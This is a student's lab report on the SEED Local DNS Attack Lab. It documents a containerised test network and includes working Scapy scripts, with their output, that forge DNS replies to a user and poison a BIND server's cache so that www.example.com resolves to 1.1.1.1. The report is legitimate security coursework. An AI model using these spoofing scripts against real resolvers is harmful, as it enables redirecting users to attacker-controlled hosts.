Arvind Sai Dooda **A20553046**

Lab - 12 Local DNS Attack Lab

2 Lab Environment Setup Task

2.1 Container Setup and Commands

```
$ docker-compose build  # Build the container image
$ docker-compose up     # Start the container
$ docker-compose down   # Shut down the container

// Aliases for the Compose commands above
$ dcbuild       # Alias for: docker-compose build
$ dcup          # Alias for: docker-compose up
$ dcdown        # Alias for: docker-compose down
```

```
seed@VM: ~/.../dns
[12/05/23]seed@VM:~/.../dns$ dcbuild
Router uses an image, skipping
attacker uses an image, skipping
Building local-server
Step 1/4 : FROM handsonsecurity/seed-server:bind
bind: Pulling from handsonsecurity/seed-server
da7391352a9b: Already exists
14428a6d4bcd: Already exists
2c2d948710f2: Already exists
2c821fdd764b: Pull complete
Digest: sha256:e41ad35fe34590ad6c9ca63a1eab3b7e66796c326a4b2192de34fa30a15fe643
Status: Downloaded newer image for handsonsecurity/seed-server:bind
 ---> bbf95098dacf
Step 2/4 : COPY named.conf          /etc/bind/
 ---> a65ff5f0d5c6
Step 3/4 : COPY named.conf.options   /etc/bind/
 ---> ea5651f5afb4
Step 4/4 : CMD service named start && tail -f /dev/null
 ---> Running in 171cd942aed5
Removing intermediate container 171cd942aed5
 ---> 8f5a834b23f2

Successfully built 8f5a834b23f2
Successfully tagged seed-local-dns-server:latest
Building user
Step 1/5 : FROM handsonsecurity/seed-ubuntu:large
 ---> cecb04fbf1dd
Step 2/5 : COPY resolv.conf /etc/resolv.conf.override
 ---> eabb2d5ba25e
Step 3/5 : COPY start.sh /
 ---> c850bb8b03dd
Step 4/5 : RUN  chmod +x /start.sh
 ---> Running in affc00fe1276
Removing intermediate container affc00fe1276
 ---> a5dc6009d629
Step 5/5 : CMD [ "/start.sh"]
 ---> Running in 5265af4fb37a
Removing intermediate container 5265af4fb37a
 ---> 41a01669e69e

Successfully built 41a01669e69e
Successfully tagged seed-user:latest
Building attacker-ns
Step 1/3 : FROM handsonsecurity/seed-server:bind
 ---> bbf95098dacf
Step 2/3 : COPY named.conf  zone_attacker32.com  zone_example.com  /etc/bind/
 ---> 8bf3b2648ac6
Step 3/3 : CMD service named start && tail -f /dev/null
 ---> Running in ea6d34e69ad8
Removing intermediate container ea6d34e69ad8
 ---> 26fb4204abc3

Successfully built 26fb4204abc3
Successfully tagged seed-attacker-ns:latest
[12/05/23]seed@VM:~/.../dns$ dcup
Creating network "net-10.9.0.0" with the default driver
Creating network "net-10.8.0.0" with the default driver
Creating user-10.9.0.5              ... done
```

```
seed@VM: ~/.../dns    seed@VM: ~/.../dns
[12/05/23]seed@VM:~/.../dns$ dockps
f9e92263539e  seed-attacker
c2ecd0d5378b  attacker-ns-10.9.0.153
9e0c932edc36  seed-router
7ddacac05a8f  local-dns-server-10.9.0.53
e55a6a005395  user-10.9.0.5
[12/05/23]seed@VM:~/.../dns$
```

```
seed@VM: ~/.../dns    seed@VM: ~/.../dns    seed@VM: ~/.../dns
[12/05/23]seed@VM:~/.../dns$ docksh user-10.9.0.5
root@e55a6a005395:/# whoami
root
root@e55a6a005395:/#
```

2.2 About the Attacker Container

```
volumes:
        - ./volumes:/volumes
```

```
seed@VM: ~/.../dns    seed@VM: ~/.../dns    seed@VM: ~/.../dns    root@7ddacac05a8f: /    root@c2ecd0d5378b: /etc...    seed@VM: ~/.../dns    seed@V
[12/05/23]seed@VM:~/.../dns$ docksh seed-attacker
root@VM:/# whoami
root
root@VM:/# ls
bin  boot  dev  etc  home  lib  lib32  lib64  libx32  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var  volumes
root@VM:/# cd volumes/
root@VM:/volumes# ls
dns_sniff_spoof.py
root@VM:/volumes#
```

2.3 Summary of the DNS Configuration

All the containers are already configured for this lab. We provide a summary here, so students are aware of these configurations. Detailed explanation of the configuration can be found from the manual.

Local DNS Server. We run the BIND 9 DNS server program on the local DNS server. BIND 9 gets its configuration from a file called `/etc/bind/named.conf`. This file is the primary configuration file, and

Checking the dns configuration .

```
[12/05/23]seed@VM:~/.../dns$ docksh local-dns-server-10.9.0.53
root@7ddacac05a8f:/# cd /etc/bind
root@7ddacac05a8f:/etc/bind# ls
bind.keys  db.255    named.conf                  named.conf.options
db.0       db.empty  named.conf.default-zones   rndc.key
db.127     db.local  named.conf.local            zones.rfc1918
root@7ddacac05a8f:/etc/bind# cat named.conf
// This is the primary configuration file for the BIND DNS server named.
//
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the
// structure of BIND configuration files in Debian, *BEFORE* you customize
// this configuration file.
//
// If you are just adding zones, please do that in /etc/bind/named.conf.local

include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";

zone "attacker32.com" {
    type forward;
    forwarders {
        10.9.0.153;
    };
};

root@7ddacac05a8f:/etc/bind#
```

it usually contains several "`include`" entries, i.e., the actual configurations are stored in those included files. One of the included files is called `/etc/bind/named.conf.options`. This is where the actual configuration is set.

- *Simplification.* DNS servers now randomize the source port number in their DNS queries; this makes the attacks much more difficult. Unfortunately, many DNS servers still use predictable source port number. For the sake of simplicity in this lab, we fix the source port number to `33333` in the configuration file.

```
root@7ddacac05a8f:/etc/bind# cat named.conf.options
options {
        directory "/var/cache/bind";

        // If there is a firewall between you and nameservers you want
        // to talk to, you may need to fix the firewall to allow multiple
        // ports to talk.  See http://www.kb.cert.org/vuls/id/800113

        // If your ISP provided one or more IP addresses for stable
        // nameservers, you probably want to use them as forwarders.
        // Uncomment the following block, and insert the addresses replacing
        // the all-0's placeholder.

        // forwarders {
        //      0.0.0.0;
        // };

        //========================================================================
        // If BIND logs error messages about the root key being expired,
        // you will need to update your keys.  See https://www.isc.org/bind-keys
        //========================================================================

        // ---------------------------------------
        // Added/Modified for SEED labs
        // dnssec-validation auto;
        dnssec-validation no;
        dnssec-enable no;
        dump-file "/var/cache/bind/dump.db";
        query-source port         33333;

        // Access control
        allow-query { any; };
        allow-query-cache { any; };
        allow-recursion { any; };

        // ---------------------------------------

        listen-on-v6 { any; };
};
root@7ddacac05a8f:/etc/bind#
```

- *DNS cache.* During the attack, we need to inspect the DNS cache on the local DNS server. The following two commands are related to DNS cache. The first command dumps the content of the cache to the file `/var/cache/bind/dump.db`, and the second command clears the cache.

```
# rndc dumpdb -cache     // Dump the cache to the specified file
# rndc flush             // Flush the DNS cache
```

```
seed@VM: ~/.../dns    seed@VM: ~/.../dns    seed@VM: ~/.../dns    root@7ddacac05a8f: /
cat: //var/cache/bind/dump.db: No such file or directory
root@7ddacac05a8f:/# ls /var/cache/bind
root@7ddacac05a8f:/# rndc dumpdb -cache
root@7ddacac05a8f:/# ls /var/cache/bind
dump.db
root@7ddacac05a8f:/# cat //var/cache/bind/dump.db
;
; Start view _default
;
;
; Cache dump of view '_default' (cache _default)
;
; using a 604800 second stale ttl
$DATE 20231129035420
;
; Address database dump
;
; [edns success/4096 timeout/1432 timeout/1232 timeout/512 timeout]
; [plain success/timeout]
;
;
; Unassociated entries
;
;
; Bad cache
;
;
; SERVFAIL cache
;
;
; Start view _bind
;
;
; Cache dump of view '_bind' (cache _bind)
;
; using a 604800 second stale ttl
$DATE 20231129035420
;
; Address database dump
;
; [edns success/4096 timeout/1432 timeout/1232 timeout/512 timeout]
; [plain success/timeout]
;
;
; Unassociated entries
;
;
; Bad cache
;
;
; SERVFAIL cache
;
; Dump complete
root@7ddacac05a8f:/# rndc flush
root@7ddacac05a8f:/#
```

User machine. The user container `10.9.0.5` is already configured to use `10.9.0.53` as its local DNS server. This is achieved by changing the resolver configuration file (`/etc/resolv.conf`) of the user machine, so the server `10.9.0.53` is added as the first `nameserver` entry in the file, i.e., this server will be used as the primary DNS server.

```
seed@VM: ...    seed@VM: ...    seed@VM: ...    root@7dda...    root@c2ec...
[12/05/23]seed@VM:~/.../dns$ docksh user-10.9.0.5
root@e55a6a005395:/# whoami
root
root@e55a6a005395:/# cat /etc/resolv.conf
nameserver 10.9.0.53
root@e55a6a005395:/#
```

- *Forwarding the `attacker32.com` zone.* A forward zone is added to the local DNS server, so if anybody queries the `attacker32.com` domain, the query will be forwarded to this domain's nameserver, which is hosted in the attacker container. The zone entry is put inside the `named.conf` file.

```
zone "attacker32.com" {
    type forward;
    forwarders {
        10.9.0.153;
    };
};
```

Attacker's Nameserver. On the attacker's nameserver, we host two zones. One is the attacker's legitimate zone `attacker32.com`, and the other is the fake `example.com` zone. The zones are configured in `/etc/bind/named.conf`:

```
[12/05/23]seed@VM:~/.../dns$ docksh attacker-ns-10.9.0.153
root@c2ecd0d5378b:/# cd /etc/bind
root@c2ecd0d5378b:/etc/bind# ls
bind.keys  db.127  db.empty  named.conf               named.conf.local    rndc.key             zone_example.com
db.0       db.255  db.local  named.conf.default-zones named.conf.options  zone_attacker32.com  zones.rfc1918
root@c2ecd0d5378b:/etc/bind# cat named.conf
// This is the primary configuration file for the BIND DNS server named.
//
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the
// structure of BIND configuration files in Debian, *BEFORE* you customize
// this configuration file.
//
// If you are just adding zones, please do that in /etc/bind/named.conf.local

include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";

zone "attacker32.com" {
        type master;
        file "/etc/bind/zone_attacker32.com";
};

zone "example.com" {
        type master;
        file "/etc/bind/zone_example.com";
};

root@c2ecd0d5378b:/etc/bind#
```

Cat zone_attacker32.com

```
root@c2ecd0d5378b:/etc/bind# cat zone_attacker32.com
$TTL 3D
@       IN      SOA   ns.attacker32.com. admin.attacker32.com. (
                2008111001
                8H
                2H
                4W
                1D)

@       IN      NS    ns.attacker32.com.

@       IN      A     10.9.0.180
www     IN      A     10.9.0.180
ns      IN      A     10.9.0.153
*       IN      A     10.9.0.100
root@c2ecd0d5378b:/etc/bind#
```

2.4 Testing the DNS Setup

From the User container, we will run a series of commands to ensure that our lab setup is correct. In your lab report, please document your testing results.

Get the IP address of `ns.attacker32.com`. When we run the following `dig` command, the local DNS server will forward the request to the Attacker nameserver due to the `forward` zone entry added to the local DNS server's configuration file. Therefore, the answer should come from the zone file (`attacker32.com.zone`) that we set up on the Attacker nameserver. If this is not what you get, your setup has issues. Please describe your observation in your lab report.

```
$ dig ns.attacker32.com
```

```
[12/05/23]seed@VM:~/.../dns$ docksh user-10.9.0.5
root@e55a6a005395:/# whoami
root
root@e55a6a005395:/# cat /etc/resolv.conf
nameserver 10.9.0.53
root@e55a6a005395:/# dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 60626
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 3916b4166a77c72901000000656ff4b4c8c17c807be32792 (good)
;; QUESTION SECTION:
;ns.attacker32.com.             IN      A

;; ANSWER SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153

;; Query time: 48 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Dec 06 04:12:36 UTC 2023
;; MSG SIZE  rcvd: 90

root@e55a6a005395:/#
```

Get the IP address of `www.example.com`. Two nameservers are now hosting the `example.com` domain, one is the domain's official nameserver, and the other is the Attacker container. We will query these two nameservers and see what response we will get. Please run the following two commands (from the User machine), and describe your observation.

```
// Send the query to our local DNS server, which will send the query
// to example.com's official nameserver.
$ dig www.example.com

// Send the query directly to ns.attacker32.com
$ dig @ns.attacker32.com www.example.com
```

```
root@e55a6a005395:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28675
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 5dbe4a11d25d405b01000000656ff5181c9dfc3e0dca23ca (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        86400   IN      A       93.184.216.34

;; Query time: 2152 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Dec 06 04:14:16 UTC 2023
;; MSG SIZE  rcvd: 88

root@e55a6a005395:/#
```

$ dig @ns.attacker32.com www.example.com

```
root@e55a6a005395:/# dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 827
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 2bf85df8c087006e01000000656ff58e572091149cf66f9c (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 4 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Wed Dec 06 04:16:14 UTC 2023
;; MSG SIZE  rcvd: 88

root@e55a6a005395:/#
```

```
root@7ddacac05a8f:/# cat //var/cache/bind/dump.db | grep example
example.com.            777314  NS      a.iana-servers.net.
www.example.com.        690915  A       93.184.216.34
                                        20231223163408 20231203024804 46981 example.com.

root@7ddacac05a8f:/#
```

3 The Attack Tasks

3.1 Task 1: Directly Spoofing Response to User

When a user types the name of a web site (a host name, such as `www.example.com`) in a web browser, the user's computer will send a DNS request to the local DNS server to resolve the IP address of the host name. Attackers can sniff the DNS request message, they can then immediately create a fake DNS response, and send back to the user machine. If the fake reply arrives earlier than the real reply, it will be accepted by the user machine. See Figure 2).

Please write a program to launch such an attack. A code skeleton is provided in the following. Section 4 has an example showing how to create a DNS packet that includes various types of records. Detailed guidelines are provided in the SEED book.

Here we should first ,

1. Monitor the traffic of udp and port 53 in the LAN.
2. When the User sends a DNS request message, use scapy to construct a DNS response message. Forge and send DNS response messages on the attacker's host

```python
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
  if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
    pkt.show()

    # Swap the source and destination IP address
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

    # Swap the source and destination port number
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

    # The Answer Section
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                   ttl=259200, rdata='1.1.1.1')


    # Construct the DNS packet
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                 qdcount=1, ancount=1, nscount=2, arcount=2,
                 an=Anssec)

    # Construct the entire IP packet and send it out
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and src host 10.9.0.5 and dst port 53'
pkt = sniff(iface='br-4175d4f13d05', filter=f, prn=spoof_dns)
```

Another machine : (Attacker machine)

seed@VM: ~/.../dns   seed@VM: ~/.../dns   seed@VM: ~/.../volu...

```
root@VM:/volumes# ls
dns_sniff_spoof.py  task1.py
root@VM:/volumes# ./task1.py
###[ Ethernet ]###
  dst       = 02:42:0a:09:00:35
  src       = 02:42:0a:09:00:05
  type      = IPv4
###[ IP ]###
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 84
     id        = 48421
     flags     =
     frag      = 0
     ttl       = 64
     proto     = udp
     chksum    = 0xa928
     src       = 10.9.0.5
     dst       = 10.9.0.53
     \options   \
###[ UDP ]###
        sport     = 38715
        dport     = domain
        len       = 64
        chksum    = 0x149d
###[ DNS ]###
           id        = 32960
           qr        = 0
           opcode    = QUERY
           aa        = 0
           tc        = 0
           rd        = 1
           ra        = 0
           z         = 0
           ad        = 1
           cd        = 0
           rcode     = ok
           qdcount   = 1
           ancount   = 0
           nscount   = 0
           arcount   = 1
           \qd        \
            |###[ DNS Question Record ]###
            |  qname     = 'www.example.com.'
            |  qtype     = A
            |  qclass    = IN
           an        = None
           ns        = None
           \ar        \
            |###[ DNS OPT Resource Record ]###
            |  rrname    = '.'
            |  type      = OPT
            |  rclass    = 4096
            |  extrcode  = 0
            |  version   = 0
```

(User-10.9.0.5) Before running the .py file

```
root@e55a6a005395:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28675
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 5dbe4a11d25d405b01000000656ff5181c9dfc3e0dca23ca (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        86400   IN      A       93.184.216.34

;; Query time: 2152 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Dec 06 04:14:16 UTC 2023
;; MSG SIZE  rcvd: 88
```

Another Vm (User-10.9.0.5)

```
root@e55a6a005395:/# dig www.example.com
;; Warning: Message parser reports malformed message packet.

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 32960
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.1.1.1

;; Query time: 148 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Dec 06 04:53:38 UTC 2023
;; MSG SIZE  rcvd: 64

root@e55a6a005395:/# 
```

- In the deception code, the `Anssec` parameter's `rdata` is configured as "1.1.1.1." (in written code)
- The IP address associated with www.example.com in the response packet received by the user host aligns with the configured value of "1.1.1.1."

A potential issue. When we do this lab using containers, sometimes (not always) we saw a very strange situation. The sniffing and spoofing inside containers is very slow, and our spoofed packets even arrive later than the legitimate one from the Internet, even though we are local. In the past, when we use VMs for this lab, we never had this issue. We have not figured out the cause of this performance issue yet (if you have any insight on this issue, please let us know).

If you do encouter this strange situation, we can get around it. We intentionally slow down the traffic going to the outside, so the authentic replies will not come that fast. This can be done using the following `tc` command on the router to add some delay to the outgoing network traffic. The router has two interfaces, `eth0` and `eth1`, make sure use the one connected to the external network `10.8.0.0/24`.

```
// Delay the network traffic by 100ms
# tc qdisc add dev eth0 root netem delay 100ms

// Delete the tc entry
# tc qdisc del dev eth0 root netem

// Show all the tc entries
# tc qdisc show dev eth0
```

Below snippet we were checking the ip address by ip -a command

```
root@9e0c932edc36:/# ip -a
Usage: ip [ OPTIONS ] OBJECT { COMMAND | help }
       ip [ -force ] -batch filename
where  OBJECT := { link | address | addrlabel | route | rule | neigh | ntable |
                   tunnel | tuntap | maddress | mroute | mrule | monitor | xfrm |
                   netns | l2tp | fou | macsec | tcp_metrics | token | netconf | ila |
                   vrf | sr | nexthop }
       OPTIONS := { -V[ersion] | -s[tatistics] | -d[etails] | -r[esolve] |
                    -h[uman-readable] | -iec | -j[son] | -p[retty] |
                    -f[amily] { inet | inet6 | mpls | bridge | link } |
                    -4 | -6 | -I | -D | -M | -B | -0 |
                    -l[oops] { maximum-addr-flush-attempts } | -br[ief] |
                    -o[neline] | -t[imestamp] | -ts[hort] | -b[atch] [filename] |
                    -rc[vbuf] [size] | -n[etns] name | -N[umeric] | -a[ll] |
                    -c[olor]}
root@9e0c932edc36:/# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
12: eth0@if13: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc netem state UP group default qlen 1000
    link/ether 02:42:0a:08:00:0b brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.8.0.11/24 brd 10.8.0.255 scope global eth0
       valid_lft forever preferred_lft forever
16: eth1@if17: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:0a:09:00:0b brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.9.0.11/24 brd 10.9.0.255 scope global eth1
       valid_lft forever preferred_lft forever
```

```
root@9e0c932edc36:/# tc qdisc add dev eth0 root netem delay 100ms
root@9e0c932edc36:/# tc qdisc del dev eth0 root netem
root@9e0c932edc36:/# tc qdisc show dev eth0
qdisc noqueue 0: root refcnt 2
root@9e0c932edc36:/#
```

Observation :

The attacker engages in DNS spoofing by falsifying responses from various DNS servers.The local DNS server retains these deceptive responses in its cache for a defined duration. Consequently, when the user's machine attempts to resolve the same hostname subsequently, it retrieves the spoofed response from the cache.

The impact of the attacker's spoofing activity persists until the cached information expires, allowing them to exploit the deception with a single spoofing instance.

3.2 Task 2: DNS Cache Poisoning Attack – Spoofing Answers

Please modify the program used in the previous task for this attack. Before attacking, make sure that the DNS Server's cache is empty. You can flush the cache using the following command:

```
# rndc flush
```

You can inspect the cache on the local DNS server to see whether it is poisoned or not. The following commands first dump the cache into a file, and then display the content of the cache file.

```
# rndc dumpdb -cache
# cat /var/cache/bind/dump.db
```

```
root@7ddacac05a8f:/# rndc flush
root@7ddacac05a8f:/# rndc dumpdb -cache
root@7ddacac05a8f:/# cat //var/cache/bind/dump.db
;
; Start view _default
;
;
; Cache dump of view '_default' (cache _default)
;
; using a 604800 second stale ttl
$DATE 20231129060454
;
; Address database dump
;
; [edns success/4096 timeout/1432 timeout/1232 timeout/512 timeout]
; [plain success/timeout]
;
;
; Unassociated entries
;
;
; Bad cache
;
;
; SERVFAIL cache
;
;
; Start view _bind
;
;
; Cache dump of view '_bind' (cache _bind)
;
; using a 604800 second stale ttl
$DATE 20231129060454
;
; Address database dump
;
; [edns success/4096 timeout/1432 timeout/1232 timeout/512 timeout]
; [plain success/timeout]
;
;
; Unassociated entries
;
;
; Bad cache
;
;
; SERVFAIL cache
;
; Dump complete
root@7ddacac05a8f:/#
```

In the above snippet we have flushed the cache and made it normal.

Now we need to modify the code for this task .

```
Open                    task2.py                         Save
              ~/Desktop/Seedlab/dns/volumes
dns_sniff_spoof.py        task1.py        task2.py
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
  if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
    pkt.show()

    # Swap the source and destination IP address
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

    # Swap the source and destination port number
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

    # The Answer Section
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                   ttl=259200, rdata='1.1.1.1')


    # Construct the DNS packet
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                 qdcount=1, ancount=1, nscount=2, arcount=2,
                 an=Anssec)

    # Construct the entire IP packet and send it out
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and src host 10.9.0.53 and dst port 53'
pkt = sniff(iface='br-4175d4f13d05', filter=f, prn=spoof_dns)
                    Python 3   Tab Width: 8   Ln 29, Col 32   INS
```

Monitor UDP traffic on port 53 at the local domain name server.Upon intercepting a DNS request message from the local domain name server, employ Scapy to craft a corresponding DNS response message.

Another machine : (Attacker machine)

```
root@VM:/volumes# ./task2.py
###[ Ethernet ]###
  dst       = 02:42:0a:09:00:0b
  src       = 02:42:0a:09:00:35
  type      = IPv4
###[ IP ]###
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 84
     id        = 30483
     flags     =
     frag      = 0
     ttl       = 64
     proto     = udp
     chksum    = 0xaae7
     src       = 10.9.0.53
     dst       = 199.43.135.53
     \options   \
###[ UDP ]###
        sport     = 33333
        dport     = domain
        len       = 64
        chksum    = 0x58f0
###[ DNS ]###
           id        = 56651
           qr        = 0
           opcode    = QUERY
           aa        = 0
           tc        = 0
           rd        = 0
           ra        = 0
           z         = 0
           ad        = 0
           cd        = 1
           rcode     = ok
           qdcount   = 1
           ancount   = 0
           nscount   = 0
           arcount   = 1
           \qd        \
            |###[ DNS Question Record ]###
            |  qname     = 'www.example.com.'
            |  qtype     = A
            |  qclass    = IN
           an        = None
           ns        = None
           \ar        \
            |###[ DNS OPT Resource Record ]###
            |  rrname    = '.'
            |  type      = OPT
            |  rclass    = 512
            |  extrcode  = 0
            |  version   = 0
            |  z         = D0
            |  rdlen     = None
            |  \rdata     \
            |   |###[ DNS EDNS0 TLV ]###
            |   |  optcode   = 10
            |   |  optlen    = 8
            |   |  optdata   = '\xcff.\xb7\x1dVjz'
```

In the above screen shot we can see src 10.9.0.53 (local dns server) in code we have given that server address and repeated the same experiment done in the previous task.

Another Vm (User-10.9.0.5)

```
root@e55a6a005395:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 36590
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 25fe8f9bf62a683801000000657018 3b9630a23e0b72ab3b (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        86180   IN      A           1.1.1.1

;; Query time: 12 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Dec 06 06:44:11 UTC 2023
;; MSG SIZE  rcvd: 88
```

Server : 10.9.0.53 - local dns server

Observation :

The reason is the same as the previous experiment. The attacker spoofs that response records from other DNS servers will be stored in the local DNS server cache. Next time, when the user's machine wishes to resolve the same hostname, it will get a spoofed response from the cache. An attacker only needs to spoof once and the effect will last until the cached information expires.

We have successfully completed the dns cache poisoning .

—--------------------------- lab completed —-----------------------------------